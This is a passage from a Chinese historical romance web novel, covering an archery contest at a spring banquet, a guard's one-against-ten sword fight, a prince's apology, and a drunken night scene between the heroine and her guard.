蔺玉湖噗嗤笑了两声,又命丫鬟摆上琉璃香瓶。 这回难度大一些,因这瓶身较小,蔺玉湖又一肚子的坏主意,便支了个招,让小厮剪来一截麻绳,绕着琉璃香瓶摆了约莫四个拳头大小的圈。 率先射进圈里,方算赢。 钱映仪这回打起十二分精神,指尖摩挲着弓弦,稍刻,挺直腰背拉弓,箭头瞄准那个圈。 秦离铮把眉轻扬,有些意外,不曾想她拉弓姿势如此熟稔。 眼风稍移,又望向俞敏森面上那抹势在必得的笑,目光里渐渐渗出一丝冷。 这头蔺玉湖已然发令。 钱映仪猛然用力,羽箭蓄力往外射,这一箭,她带着势必拿下的决心。 她的箭术,是哥哥所教,哥哥如今虽做着文官,少时也顽皮,于箭术上更是称得上百发百中。 她不信拿不下。 岂知忽生事端,羽箭离弦的那一刹那,有一支箭横空射来,带着狠戾的劲风,直往她的弓上射。 钱映仪敛神躲避,又哪里比得过箭? 眼睁睁看着箭要射向自己,钱映仪不由地心悬到了嗓子眼! 瞧热闹的众人一阵惊呼。 “砰!” 蓦然有颗石子不知打哪射出,直直打离了那支箭,发出尖锐鸣响。 钱映仪急喘着气,后怕地睁大眼,稍稍回过神来,望向那支箭射来的方向,立时愤愤然道:“世子好卑鄙!” 俞敏森歉意一笑,“真是对不住,有些手生,耽误你夺取彩头了。” 钱其羽又惊又怕,“啪”地一声扔掉弓箭,作势要去殴打俞敏森,“你还敢当着我的面欺负我阿姐,上回你没被我打服是么?!” 一时众人忙去拉着,俞敏森却好似不大在意上次挨的揍,只牵出个和煦的笑,“射偏了,再来就是嘛。” 又稍扬下颌对着钱映仪,笑喊:“你还有帮手呢。” 钱映仪心头仍在打鼓,不自觉去人群里搜寻侍卫的影子。 她晓得,方才定然是他。 可惜人头重叠,遮挡了她的巡视。 晏秋雁一连声喊:“哪有这样射偏的?若映仪被你射中,你该如何做赔?” 她后怕拍拍胸脯,迟疑望向钱映仪,“要不...还是别玩了。” 钱映仪自人群里收回目光,回送晏秋雁一记安抚的笑,“我没事。” 俞敏森像是不耐,高喊:“还玩不玩?不玩就下去!” 他总是这样不饶人,钱映仪的目光一点点凝成一种实质性的冷,沉默片刻,弯腰捡起方才跌落在地的弓箭,淡道:“玩。” 这话倒叫众人意外,经方才那一遭,他们理所当然认为她不过柔弱女子,便是吓,也该吓退了。 俞敏森暗瞪钱映仪,嘴唇浅浅翕合,“你等着。” 他能射去第一箭,就能再射第二箭,今日不吓得她跪地求饶,他难解当年那口恶气。 可惜不等他得意。 蔺玉湖那头还未下令,钱映仪倏然将弓拉满,眼神凌厉起来,带着某种报复,以众人尚未反应过来的速度向俞敏森的右腿射去。 这一箭太快,众人尚且未回过神来。 好在俞敏森反应迅捷,忙不迭往一旁蹦开,却也因此摔了个跟头。 场地寂静,旋即刮了起一阵清浅的风,蔺玉湖醉得双眼迷离,没个头脑,又噗嗤一声笑了出来。 众人心神惊骇,扭头去望钱映仪。 女孩子静静立在微风里,红唇轻启,将先前那句抱歉送还给俞敏森。 “对不住,一时手生,耽误你脚着地了。”《 》 16-20 第16章 配着钱映仪这一句话,众人再扭头去瞧跌倒在地的俞敏森,想起他受惊那一跳,都十分想笑,碍着俞敏森在场,又把嘴角压了下去。 只剩个吃醉酒的蔺玉湖在原地呆了呆,好似才回过神来,抖着肩笑得发颤。 天老爷,他竟还敢笑?燕文瑛有些发蒙,早该料想俞敏森参与进来就没好事。 燕文瑛赶忙使两个小厮去捂蔺玉湖的嘴,又忧心忡忡赶去俞敏森那头,忙问:“哎唷,世子可有摔着?” “大家玩乐一场,还是要高高兴兴才好嘛,还是不要叫不知情的人瞧笑话了。” 言下之意,便是这一来二去的恩怨只是一场打闹玩笑。 可惜俞敏森这时褪去惊骇,压根不买她的账,两三下挣开搀扶自己的小厮,恶狠狠往钱映仪面前行去。 晏秋雁与温宁岚大惊,忙往前走两步,将钱映仪挡在身后。 俞敏森在三丈外立定,半晌,起伏的胸膛渐渐平缓,唇畔扯出抹冷冰冰的笑,“很好,你还敢伤我,我当年就没说错,你就是个没爹娘要的可怜虫。” 他语速极快,怄着一股气,要在口舌上无止尽地羞辱钱映仪,“你爹在顺天府做府尹又如何?你兄长入翰林,你姐姐嫁得好,这又如何?你们一家子人里,就你不同。哦,你如今已满十八,也是与人相看的年纪,怎不见你爹娘替你操办?” “你再厉害,没人管,也是可怜,倘或你爹娘念你,何不早早将你接回京师?”他轻飘飘瞥了眼吴念笙,愈发不屑,“为何留你在金陵,任由某个人日日绕着你打转。” 熟悉内情者,譬如晏秋雁与温宁岚,自当晓得他说的都是假话。 可也有那等不明白的,加之钱映仪是个姑娘家,众目睽睽下将此事摊在明面上,已与扯开她的遮羞布没什么两样。 晏秋雁也是个急性子,早已听不下去,当即要上前争论。 不防钱映仪比她更快,自缝隙里钻出去,跑至俞敏森跟前,“啪”的两声,左右各扇他一巴掌! 俞敏森被打得发怔,下意识捂着脸。 只见钱映仪拿脏似的摸出帕子擦手,“你说得对,我还和当年一样,依旧会打你。” 言罢,她似笑非笑睇了眼郭月,复又盯着俞敏森,轻问:“你呢?你如今还敢打回来么?” 早先他刚来时,郭月羞怯怯与他打招呼,钱映仪就觉察出二人之间定有些猫腻。 瑞王如今日子照样过得红火,府里什么好东西没有,差这小小的琉璃香瓶? 这俞敏森无非是两种心思。 一则,冲她使绊子,与她作对,她想要的,他偏要去抢。 二则,为讨郭月欢心。 此刻郭月正在一旁看着,手里来回绞着帕子,想是害怕。因此她料想,俞敏森哪怕是忍到五脏六腑都炸开,也不会当着郭月的面与她动手。 先前钱其羽为自己殴打俞敏森,钱映仪尚且能劝一劝,秉着能避则避的想法。 如今见俞敏森愈发霸道,变本加厉,她也并非是任人欺辱的性子。 大不了在今日与他撕破脸,从此以后在整个金陵,叫人一提起两家,便知是不对付的。 至于爷爷的担忧经此闹开后,届时瑞王再有什么举措,也与钱家拉不上一星半点的关系。 俞敏森果真气得脸面涨红,一口气上不来,腮帮子咬得发紧,“你真当我不敢打女人?” 钱映仪但笑不语。 眼神却落向人群外,巡检侍卫的身影,只待暗自向他投去眼风,若俞敏森一时血气冲脑对她动手,务必及时出来摁住他。 谁知俞敏森循着她的目光去望,见个侍卫打扮的年轻人站在人群后淡漠盯着自己,心念登时一转。 这个侍卫想必就是先前打歪他那一箭的人! 俞 敏森复又扫视周遭一圈,那些少爷小姐与他年岁相差无几,有些少爷与他同在府学,甚至是一班同学,今日他落下个好大的面子! 因此他倏地记恨上那侍卫,若非他出手,方才他就能吓退钱映仪,还有后头什么事? 俞敏森有半晌没吭声,暗暗左思右想,蓦然抵一抵腮,笑了,“蔺哥哥。” 他望向被捂嘴的蔺玉湖,“步射没什么意思了,要不要玩个更刺激的?” 蔺玉湖胡乱挣开,笑着往前走两步,“世子还有更刺激的玩法?” 今日之事发展到如此地步,已绝非燕文瑛所能掌控,她闭了闭眼,吩咐两个丫鬟去府衙请公爹蔺边鸿归家。 若蔺玉湖不横插一脚与她作对,不请来俞敏森这个混世魔王,钱映仪早已得到两样彩头。 把她哄高兴,才是要紧事! 燕文瑛恨瞪蔺玉湖,只暗道蔺边鸿归家收拾他。 这厢俞敏森笑乜那侍卫一眼,手一指他,“方才我射歪了,是这侍卫打掉了我的箭,他瞧着功夫极好。” “咱们金陵向来最讲究一个礼字,可我听说京师那些官宦人家私底下爱瞧武士互打,不如这样”俞敏森笑眼里带着一丝阴狠,“这琉璃香瓶,想必只剩我与钱映仪争,她的侍卫厉害,我的人也不赖。” “两方互博,赢家拿彩头,输的那方,从此以后对赢家唯命是从,如何?” 周遭一片哗然,看俞敏森的眼神渐渐转变,只觉他俊俏的脸庞有些阴气,有些可怖。 哪有追着人不依不饶的? 蔺玉湖却不管这些,够眼往四周瞧一瞧,“世子身边只有小厮。” “谁说的?” 俞敏森往怀里摸出个小巧的哨笛,轻轻一吹。 没几时,四面八方涌来十人,各自蒙着半张脸,瞧着是瑞王府的暗卫,平日里专跟着俞敏森。 此番连燕如衡的神色都变了变,语气逐渐严肃,“世子,这里不是王府,一场春宴,打打杀杀不好看。” 蔺玉湖却上前拦一拦他,“嗳,世子要玩,就要玩个痛快才是,清溪,你往后站一站。” 钱映仪沉了脸,暗自握紧一双手,“以多欺少,你好意思?” 俞敏森满脸得意,“你也找帮手就是嘛。” 众人惊惧着往后退,再没哪个敢上前冒尖出头。 目光也落在那侍卫身上,虽觉他身形高大,瞧着能打,可瑞王府的暗卫又怎是吃素的?俞敏森当真是不把人命当一回事,十对一,这与单方面的虐杀又有何区别? 静等半日,俞敏森轻蔑笑了,“钱映仪,那瓶子你还要不要?你莫不是舍不得这侍卫受伤?” 阳光正盛,微风正好,却把俞敏森的脸衬得如吃人恶鬼。 钱映仪的目光流连在那琉璃香瓶上,有几分黯然,到底是理智占据思绪,预备松口。 岂知红唇方启,侍卫已来到她身侧,朝俞敏森泄出一丝笑,“敢问世子,是不是不论打法,不论生死,只论输赢?” 俞敏森讶然把他一扫量,不曾想这侍卫竟有胆站出来,因此愈发不放在心上,点点下颌,“是,若你能赢,本世子不降罪与你。” 钱映仪忙掣住侍卫的衣袖,骇目圆瞪,“你疯了?我不与他争了,你不必去!” 侍卫扭脸望向她,不知是不是花眼的缘故,钱映仪顿觉这一霎的功夫在他眼中窥见一丝丝恨意? 也就是愣神间,侍卫拨开她的指尖,径自走到一处空地,“噌”地一声,剑身出鞘,指向十名暗卫,淡然开口:“请。” 暗卫们立时从四面八方围堵住侍卫。 俞敏森洋洋得意,目中泄出个蔑视的笑,手一招,命道:“给我上!” 暗卫们反拔腰间长剑,哄然而上。 自打来了金陵,秦离铮总是刻意先避开瑞王一家,只怕自己一时冲动去手刃了仇人。 今番见到瑞王之子,又听这俞敏森话里话外不把人命放在眼中,倏然怒从心起,当年瑞王不也没把他兄长的性命当一回事? 于是下手时,秦离铮的剑锋劈下凌厉煞气,像是在泄愤,大有一剑封喉的架势。 为首那暗卫本没把他当一回事,这一交手心中就突突直跳,忙虚晃一招躲开,与余下九人交换眼色。 这侍卫好生勇猛! 暗卫们打起十二分精神,提剑变换阵型,意图从多方扰乱他。秦离铮飞快解决掉二人,横腿往一名暗卫腰腹一记狠踢,借力凌空横翻,下一瞬,就在落地时又往一人胳膊上割开一条血淋淋的口子。 剩下六名暗卫暗自咬牙,暗道他好快的速度! 不等做出什么反应,秦离铮已然又逼近他们面门,浑身夹杂冷冽锋锐之气,招招下了狠手。 众人目瞪口呆,这哪里是围猎,分明是一对十的宰割。 先前晴光还十分柔和,须臾天空变色,阴沉沉的,刮起一阵乱舞的风,揭开了年轻人剑招里的杀意。 六名暗卫奈何他不了,他一人竟接连往半空划开数道串在一起的血珠子。 天空像是一副灰蒙蒙的画,血珠子洒在半空,布满艳丽的点缀。 金陵的天霎时变幻,风声刺激众人耳膜时,秦离铮放倒最后一人,“咔嚓”一声,重重一脚碾断地上暗卫的腿骨,面上沾了些血痕,遥遥望向早已面色发白的俞敏森。 四周静寂得出奇,人人都将心悬到了嗓子眼,看这侍卫的眼神,活脱像看个阴司爬上来的厉鬼! 秦离铮冷眼扫量俞敏森,脚下使力,在那暗卫止不住的哀嚎声里,勾了勾唇,“世子手下的人,也不过如此。” 俞敏森猛然往后跌退,“你你” 结巴半日,没说出半句话来。 区区一个侍卫而已,怎能如此厉害?俞敏森现下有些怕了,蓦地察觉身边一些少爷小姐渐渐离自己远了些,他抬眼去望,却是侍卫正顶着那张血腥可怖的面容,一步一步向他走来。 “你你你!”俞敏森抵不住头皮发麻,硬着嗓音道:“你想做什么!” 岂知那侍卫只是带着丝丝血腥气绕开他,行至不远处,捡起那小小的琉璃香瓶。 这厢围观全局,晏秋雁喃喃道:“映仪,你身边这新来的侍卫,身法也太俊了” 钱映仪猛然回神,紧紧盯着侍卫,一股从未有过的陌生感爬上心头。 他竟如此厉害? 闹到此刻见了血,那俞敏森瞧着方收敛一些,却拉不下面子,想及先前定下的赌约,愈发没脸。 当即面色一沉,转背就欲离去。 不防一句“孽障”,生生给他绊住了脚。 俞敏森扭头回望,人群外有两道身影匆匆赶来,他禁不住心中忿然,忙不迭转身朝来人跑去,跑近了就一面喊着:“爹!你得替我好好教训那该死的” “啪!” 倏地迎面受了一记掌掴,力道之大将俞敏森打得蒙头转了半圈。 俞敏森不可置信抬头,“爹?” 二人正是燕文瑛使丫鬟搬来的救星。 穿一身红色补服的,自是从府衙来的蔺边鸿。 另一位面不留须,生一对圆眼,人到中年身姿也挺拔,头戴翼善冠,身着暗绿衮龙袍,正是那位从逆王案中全身而退的王爷——瑞王,俞成鹤。 不知因何二人一并赶来,但俞成鹤显然不欲在众人面前溺爱儿子,瞧神情,想必已在来时之路听清始末。 于是,又重重一推俞敏森的肩,斥道:“去给钱小姐道歉!” “我给她道歉?”俞敏森很是不服气,“凭什么?她险些拿箭射伤我的腿!” “那也是因你先刻意拿箭射映仪在先!”晏秋雁见有人治他,忙不迭就出言回呛。 俞成鹤冷乜横七竖八躺倒在地的暗卫们,手摁住俞敏森的肩,强行拐着他行至钱映仪面前。 俞成鹤不由地牵出个和煦的笑,“好孩子,今日你受委屈了,这孽障欠收拾,待回去本王定好好收拾他,改日命他亲自登门再向你赔不是。” 字字句句,十分诚恳,却丝毫不提那“对赢家唯命是从”的赌约。 钱映仪哪里不懂他是何意?俞敏森到底贵为世子,从此围着她唯命是从,日后叫整个金陵如何看待瑞王府 ? 此番有长辈出面,她便是想在俞敏森身上讨个痛快也不行了,因此半晌才抿出一丝笑意,“请王爷安,今日游戏原是射覆,是世子觉着无趣,才改成步射,后又改成互打,我别无他法,只好与世子一道玩,想来是我与世子近两年未有什么往来,彼此不熟悉脾性,这才闹得过了些,王爷不必烦心,我这人脾气好,向来不往心里去。” “至于登门赔不是”她笑意深了些,“也不必了。” 一席话,像是她原本就与俞敏森不熟,今日虽过,往后却因他是世子,也不会与他去计较,只要俞敏森不来她面前晃,她与他依旧各走各的道。 俞成鹤望着面前这伶伶俐俐的女孩子,也跟着笑,手下却使力将俞敏森摁得矮她一头,“道歉。” 这小霸王哪肯?硬着脖子连连挣扎。 最终是俞成鹤当着众人的面警告他,只说若今日不与人道歉,日后只当没他这个世子。 俞敏森这才心不甘情不愿,从牙齿缝里挤了句“对不住”出来。 闹剧倏地收场,俞成鹤点了随行的王府侍卫将奄奄一息的暗卫们拖走,神色稍敛,往钱映仪身后的年轻人身上瞥去一眼。 旋即带着自家孽障离去。 走至一处转角,俞成鹤似有所感,总觉背后有道发凉的视线跟随,转身时,他横眼去巡视,却始终搜捡不到那道视线的主人。 一路上了王府马车,俞敏森仍不服气,却又被俞成鹤迎面打了一记。 俞成鹤冷眼警告他:“你可知你今日坏了事。” 俞敏森吃痛低呼,不禁反问:“我坏什么事?” “回去再与你清算,老实坐好!”俞成鹤稍稍眯眼,告诫道:“那钱映仪,往后你不要招惹她。” “凭什么?”俞敏森干瞪着眼,止不住地叫嚣,“她先前就打我,今日还敢打我岂能一再受她欺负!” “叫你别招惹她,你只管照做,否则,日后你就待在家中,哪也不要去。” 撂下一席威胁的狠话,俞成鹤默了半晌,又问:“我指派跟着你的那些暗卫,个个身手了得,都是她身边那侍卫打的?” 俞敏森想及那侍卫脸上的血,有些害怕,缩了缩脖子,死命点头。 街道繁丽热闹,马车正驶过河边,俞成鹤打帘去瞧,由光打在他半边脸上,映得他神色晦暗难辨,“总觉得他有几分眼熟” 马车很快一驶而过,途中经过一处石子路,颠簸了片刻,很快复又平稳,至于俞成鹤心中的古怪,也被这一下颠没了影。 这厢在蔺家看过一场惊心动魄的热闹,少爷小姐们哪还顾得上什么春宴,忙各自找了借口,与燕文瑛一一告别离去。 蔺边鸿得知始末,对蔺玉湖是恨铁不成钢,气得命小厮扔他去池子里醒酒。 燕、蔺两家早已是一条船上的蚂蚱,今日设宴本就为了钱映仪,竟生生叫这蠢物给搅和了! 辗转大半日,春宴竟是不欢而散,钱映仪亦不再多留,勉强牵出一抹笑向燕文瑛福身,欲与钱其羽一同归家。 临行时,马车被倏然叩响,钱映仪打帘去瞧,却是燕如衡握着一幅画,冲她抿出个笑,“今日真是对不住,我阿姐也没想到世子会来,这画且当作是赔礼。” 他依旧是那张漂亮至极的脸,近距离瞧着,愈发想叫人上手去摸一摸,可钱映仪此刻却觉得少些滋味,只客气摆摆手,“不必了,我没放在心上。” 燕如衡还要再说,钱映仪却抢在他前边开口:“燕大人,我今日有些累了。” 燕如衡微怔,稍刻,只得轻声道:“抱歉。” 归家时,已是日暮四合。赶上钱兰亭从工部回来,钱映仪忙将今日之事给说了。 钱兰亭倒先拉着她左右瞧一瞧,“那箭可有伤着你?” 钱映仪摇摇头。 “哼,猖狂小儿,做儿子的不听话,向来是做爹的没教好,”他一拂袖,道:“无妨,撕破脸就撕破脸,王府又如何?除了皇上,谁也拿捏不了咱们家!” 这话又给钱映仪传送不少底气。 因此与钱其羽两个互相睇眼,在用晚饭时随意扒了两口,就各自抱了个酒坛子坐在园子里怒骂那俞敏森。 这夜无月,两个丫鬟在一旁掌灯,钱其羽眼底泛着湿意,举杯与钱映仪相碰,骂道:“他以为他是谁?不过阿姐曾经的手下败将!虽为世子,见闹出事端却也胆小如鼠,真真丢了男子的脸,去、去他爹的!不是好货!” 他已有醉态,钱映仪亦是如此,笑了两声,仰面饮下一口酒,顺着他的话骂:“去、去他爹的!不是好货!” 喝到后面有些泛晕,钱其羽渐渐开始摇头晃脑,暗道怎有两个阿姐?又掬着脸笑道:“幸亏林铮身手好,阿姐,你说是、是不是?” 林铮? 钱映仪够眼去四周搜寻侍卫的影子,小玳瑁、春棠、夏菱都在偏不见他。 钱映仪转脸去问:“林铮在哪呢?” 钱其羽却在须臾间趴在石桌上昏睡过去。 她笑一笑,命小玳瑁送钱其羽回房,自己则歪歪扭扭起身,两个丫鬟忙上前搀扶,被她反手揽着挨个贴脸蹭了蹭。 又兀自往廊下走,朝身后摆了摆手,“你们回云滕阁备水,我没醉呢,正好四处走走,清醒一会。” 拗不过她,两个丫鬟只得离去。 钱映仪慢吞吞走着,暗自盘算找一找侍卫,不知过去几时,也不知拐过几条曲折回廊,忽听两侧雨滴的啪嗒声,便随意抬脸往廊外去瞧。 这一瞧,就瞧见好大个人站在廊角外的一棵玉兰树下,眼瞧雨势渐大,钱映仪无声打了个酒嗝,顺手拿过廊角的一把油纸伞,就直奔那人而去。 。 秦离铮独站此处已有一阵。 往蔺家走一趟,并非全无所获。先前戏班子唱戏时,他蛰进蔺边鸿的书房,探查到一封出人意料的信件,像是还未来得及销毁。 那封信来自京师,出自皇上身边的秉笔太监——常容。 他没有想到,常容竟是他们在京师的庇护伞。 秦离铮生出一丝吊诡的感觉,若非皇上生疑,命他前来彻查,也许在不久的将来,金陵这片土地,或者是整个南直隶,都填不满他们滔天的贪欲。 以及瑞王他也是享受贪银的一份子。 瑞王 秦离铮目光垂落在某个地方,思绪渐渐有些放空,他今日险些就要忍不住冲去杀了瑞王。 岑寂中,半空一声闷雷,蓦然落下淅淅沥沥的雨,打远处有几个小厮匆忙躲雨,秦离铮却恍然未觉,默然站在原地,画地为牢,渐渐将自己围困进仇恨里。 兄长离世后,碍于先皇又予父亲职位,他们一家人得以还留在京师。 父亲曾推算,瑞王此人心思缜密,最初也许不会与他们家清算,但若先皇渐渐撤下防备,难保他们一家作为“知情者”,不会被瑞王暗中绞杀。 父亲已失去兄长,断不能再失去他,因此打定主意要送他前往边境。 为此他与父亲意见产生分歧,大闹一场。 可惜他抵不过父亲施压,最终还是妥协,但在护送他去边境的途中路过金陵,他没忍住逃了。 彼时,他被仇恨冲昏了头,少年气性,孤身拿着一把剑就闯到了瑞王府附近。 但在亲眼看见瑞王一家三口在门前有说有笑时,他倏然改变了主意,渐渐冷静下来。 他像躲在阴暗处的老鼠,接连窥视了瑞王三四日,瑞王夺去了他兄长一条命,令他幸福圆满的家支离破碎 他也要瑞王尝尽其中滋味。 加倍偿还。 后来,他还是去了边境,半路却杀出一人,见他根骨奇佳,要收他为徒,强行将他掳走。 遇见师傅时,他已至暮年,他与师傅在一处荒山里待了几年,师傅死后,他回京师参与锦衣卫选拔,踩着别人的尸骨往上爬,终于爬到如今的皇上身边,成为官员私下为之唾弃的“鹰犬”。 为了替皇上办事,他什么都 做,只为向皇上表忠心。 皇上知他身份,也知他兄长之死,因此在取得皇上的信任后,皇上赐他一道口谕,届时他若能为兄长平反,拿出证据,那道口谕的内容,由他来定。 自那以后,他愈发卖命。 作为赏赐,皇上赏他父母平安顺遂。 因此他从未回过家,对外只宣称是与父母断绝关系,父母是生是死,与他无任何干系,因此即便哪日瑞王知晓他进了锦衣卫,要暗自灭口时,有皇上的人护着,瑞王也无法得逞。 雨滴很快渗透秦离铮的肩背,他眼底闪过一丝动摇,又像是挣扎,想不管不顾杀了瑞王。 秦离铮猛然阖眼,遏制自己压下这份心思,自仇恨里抽身而出。 落起雨来,夜里又添上几分寒凉,仿佛一霎回到开春前,滴滴答答的雨声笼着秦离铮,他木着一张脸,正欲转背离去,不由地一怔。 滴在身上的雨停了。 秦离铮掀眼望见一把油纸伞,倏地一旋身,身前有两只白皙细嫩的手紧握着伞柄,再往前,是一双璀璨晶莹、过于清亮的眼睛。 女孩子喝得醉醺醺的,把油纸伞往他头顶又抻了抻,笑嘻嘻唤他:“阿铮。” 秦离铮目光掠过她的全身,那马面裙的底缘,有些微脏污,他静静盯着她看,恍然忆起这是她第二回替他撑伞。 不同的是这一双眼睛。 上一回,里头虽亮晶晶的,却只有探究与好奇。 这一回,满是关切之意。 他情不自禁地接过那把伞,声音很轻,“小姐叫我什么?” “阿铮,”她往他身前挤了挤,与他挤在伞下这一片小小天地里,“小玳瑁的名字多好听啊,我就从不叫他全名,林铮叫着生疏,阿铮就极好。” “阿铮,你在此处淋雨,傻不傻?” “你冷不冷呀?” 她显然醉得不轻,在他面前竟不再是张牙舞爪,反而出奇的乖顺。 秦离铮扯了扯唇,拔脚往廊下走,“下雨了,我送小姐回去。” 不防刚走两步,腰带被一只手勾住。 秦离铮愕然回望,她微抿了两下唇,又凑近他,踮起脚来,双手掬着他的脸左右摆弄,嗓音发软,“你今日好厉害,一打十呢,我方才一直在寻你,抱歉,你今日帮我出头,我回家却只顾去、去喝酒,忘了问你,你有没有哪里受伤呀?” 一阵风将廊下两盏黄纱灯笼吹灭,半昏半明里,钱映仪很是认真地与他道:“若有哪里疼,我请郎中治你。” 秦离铮的脸有一半隐在昏暗里,让人窥不清情绪,“我没有受伤。” 又轻拉她,“走,送你回去。” 钱映仪此时却格外固执,双手掣着他的衣领摇头,“我还不想回去。” “好,那就先去避雨。” 半哄半拉将她带到廊下时,秦离铮收了伞,回身一搜寻,她已抱着廊柱歪倒在廊椅上。 他轻步走过去,倚靠向廊柱,往怀里摸出那个琉璃香瓶递与她。 钱映仪迷蒙的神色有几分变化,怔怔接过瓶身,自那缠绕在瓶身顶上的角弦一路抚摸至瓶底,像得来个无价之宝。 秦离铮盯着她的神情,趁她尚且不清醒,便问:“这东西对你来说,很重要?” 钱映仪眨眨眼,点了点小巧的下巴,“我本就有一个,是从前很亲近的人所赠,所以这个我也想要。” 怪哉,他不是没查过钱家,她自出生起没吃过苦,何至于提起这人时如此惆惘? 他又忍不住问:“是谁呢?” 钱映仪小心翼翼将琉璃香瓶塞进袖管子里,声音细细的,“是从前住在我家角门后头的阿姐,她做的米糕很好吃。” “只是后来她死了,只留给我一个瓶子。” 秦离铮后知后觉才明白,原来她是因这个缘故才总吃那米糕。 缄默片刻,他补上一句:“节哀。” 雨势渐大,钱映仪似有些冷,横臂把自己搓一搓,没几时搓累了,又卸力跌靠在廊椅上。 她今夜像是刻意要来寻他说些话,这会子又冷不丁冒了句:“阿铮,你知道吗,自打她死后,我就暗暗发誓,从今往后,一定不再让我身边的人受欺负。” “所以,今日俞敏森那蠢蛋招来那些人时,我不想叫你去,我怕你打不过人家,”她声线低得险些被雨声淹没,“我很想要这瓶子,但两方比较下来,我更不想你去挨打。” 秦离铮偏过头,第一回不带任何审视,就这样静静地凝视她。 再开口,连他自己都惊觉在面对她时,他的声音可以温柔得像一汪温泉,“小姐很冷?” 他不大想承认,因为她这一席赤忱的话,他时常冷硬的心像迸裂开一条长长的痕迹。 于是才另寻了话头。 钱映仪手贴在膝上,答道:“手冷。” 她低垂着脑袋,瘪一瘪唇,“其实今日,俞敏森说那些话羞辱我,我明知是假的,却还是有点在意。” “我久在金陵,也想爹娘,可我不想回京师,我不想嫁给毫不相干的人,也不想一回去就想起死去的阿姐。” 她的话稀稀散散,一时又另说:“小时候我手冷,娘会握着我的手替我暖暖。” 秦离铮低眉窥她一双白嫩的手,沉默片刻,朝她伸出宽厚炽热的掌心,“放上来。” 钱映仪大抵是真有些冷了,怔然把手蜷成一个拳头,轻轻搁在他的手上,没几时,拳头被紧紧包裹住,她舒坦喟叹,笑了笑,又用另一只手去握他的手背,“你的手真暖和。” 空气仿佛静止下来,秦离铮连雨声都听不大清,只盯着二人紧握的手。 俄延半晌,才匆匆转头,掩饰无措与彷徨。 钱映仪久坐在此,醉意上涌,愈发觉得他整条手臂都十分暖和,于是歪脸往他紧实的小臂上轻蹭,尚还能分神问他:“阿铮,你手臂也很暖和,可是方才淋了雨,你身上冷不冷?” 她一再追问他冷不冷,秦离铮不可避免仓惶抽回手,一把将她从廊椅上提起来,推着她的背往前走,“冷就快些回去。” 钱映仪却偏要与他对着干,止步在原地,“这是我家,我想何时回去就何时回去!” 使过劲不叫他推她,钱映仪又有些疲软,轻轻拉他一下,“要我回去也行,我不想走路,没多少劲了,你把我抬回去。” 拉得秦离铮离她愈发近,一张脸悬在她眼前。 钱映仪睁着亮锃锃的眼睛,凝视他鼻梁那两颗不大对称的痣,不由地缓缓抬起另一只手,轻触他的鼻梁,“你说,这一颗为何不长在另一边,对称下来多好看。” 她扑扇着两排羽睫,神情贯注盯着他的脸,好像这天地间只这一件要紧事。 指尖又往他鼻梁上摁了摁,不防被一只手攫住手腕。 钱映仪自那小小世界里抽离出来,呆呆望向他,有些不解。 秦离铮目光从她脸上一一掠过,倏地忆起那些干扰他思绪的梦,登时觉得此刻的她对他来说,过于危险。 于是他后退半步,企图离她远一些。 岂知他还握着她的手腕,她也被带离原地,向他扑来。 她踮起脚,一个轻飘飘的吻,恰好印在他的喉结上。 这下什么都无法再顾及,什么都再听不见,秦离铮僵直着身体,连呼吸都轻了。 连迅速托起她的两条胳膊,都仿佛有些不是自己的。 偏生钱映仪醉醺醺的,轻嗅他身上的薄荷气,连带着雨水的潮湿气,凉意激得她不自觉打了个颤。 又问他:“你冷不冷呀?” 她双手拖起他的下颌,再三叮嘱道:“记着,我是你的主子,我把你捡回来了,以后自会保你平安,倘或那蠢蛋要来报复你,你不必怕,我替你拦着。” 话语真诚得让秦离铮有些舍不得松开手。 她一再追问他冷不冷,一再反复强调她会护着他,哪怕是醉后所说,秦离铮也不得不承认。 此刻他的心里,仿佛如外头淅淅沥沥的雨一般,有什么东西乱跳。 他抓不住。 也不想再抓。秦离铮望向她的脸,觉得此刻好像渐渐与一些梦境重合,可手下的触感又这样真实。 他想,什么男女之防,什么真假虚实,统统不要再管。 他一把揽她入怀,两副身躯紧紧贴在一起,两条胳膊把她愈抱愈紧。 仿佛二人身体之外捆了条无形的线,要把他的心跳沿着线传递给她,让她的心也怦然一动。 钱映仪似有所感,倏地双脚被迫踮起来,浑身上下都暖和了个遍,也发怔似的眨眨眼,没有说话。 她听见他的声音在耳边响起,低得勾人心魄,“你总问我,自己感受一下就知我到底冷不冷。” 她依旧发蒙,透过他的肩头去瞧头顶,有阵天旋地转之意。 直至她有些喘不过气,才渐渐挣扎着要脱离他的怀抱,“我、我不行了。” 推开他,她一时忘了要说话。 他的身体炙热得像块烧红的炭,烫得她连眼睑下都浮着红,好似他的耳朵也红彤彤的。 钱映仪不知是被抱得发软,还是醉意攀至顶峰,有些站不住,往一旁跌了两步才扶住,顺势又坐了下来。 旋即歪着脑袋靠在廊柱旁,轻轻阖上了眼。 秦离铮目光跟着她走,心中那股悸动迟迟未散,好像在此时,他才懂小玳瑁说的那句:或许喜欢,也是男人对女人的占有欲。 他正视自己方才的冲动,不由地又行至她身前,静望她片刻,才知她竟是睡着了。 女孩子睡着时,十分安静,十分乖顺。 秦离铮渐渐离她近了些,弯下腰身,往她额心悄悄印下一个轻浅的吻。 一触即离。 他不得不承认,她像是流萤灯火,终于用微弱又柔韧的力量把他的冷静烧毁—— 作者有话说:钱映仪揽获了侍卫的心,从此侍卫开始暗恋之路 入v了,嘿嘿,希望多多评论~和我讨论剧情 第17章 春雾淡薄,垂柳飘荡。一场雨淅淅沥沥落了整夜,埋首在被衾里的人儿睁开眼,支着两条胳膊反撑起身,脸色有些蒙。 钱映仪懒着不说话,放空盯着粉色的纱帐好一会儿。她昨夜与钱其羽喝了不少酒,是记着去找林铮的,后来与林铮说了些话,她就什么都记不大清了。 好像一时冷一时热。 夏菱在外间听见细碎的动静,忙推门进来,端了早膳搁在桌上,回身替她揽起帐子,“小姐醒了,可有哪处不适?奴婢就说不能与少爷那般饮酒,小姐是女子,如何能” “你且先别说这些,”钱映仪轻声截断她的话,眼色狐疑,“我昨夜是如何回来的?” 夏菱如实答道:“奴婢备好水就见小姐躺在榻上。” “是吗?” 夏菱点点头,“再真不过了。” 钱映仪方撇弃心头那丝古怪,垂眼一扫量,霎时掀开被子往床下跳,“夏菱!我穿着昨日那身衣裳就上床睡觉,多脏!你怎的不将我摇醒!” “您睡得太沉了”夏菱嘟起唇来有两分委屈,“奴婢与春棠轮番摇您都没给摇醒。” 钱映仪顿觉浑身难受,虽这时肚里空空,却连早膳也顾不得吃,忙不迭地使夏菱备水,又推窗吩咐两个小丫鬟进来换洗被褥。 旋即过了半刻,待在浴桶洗舒爽了才似活过来。 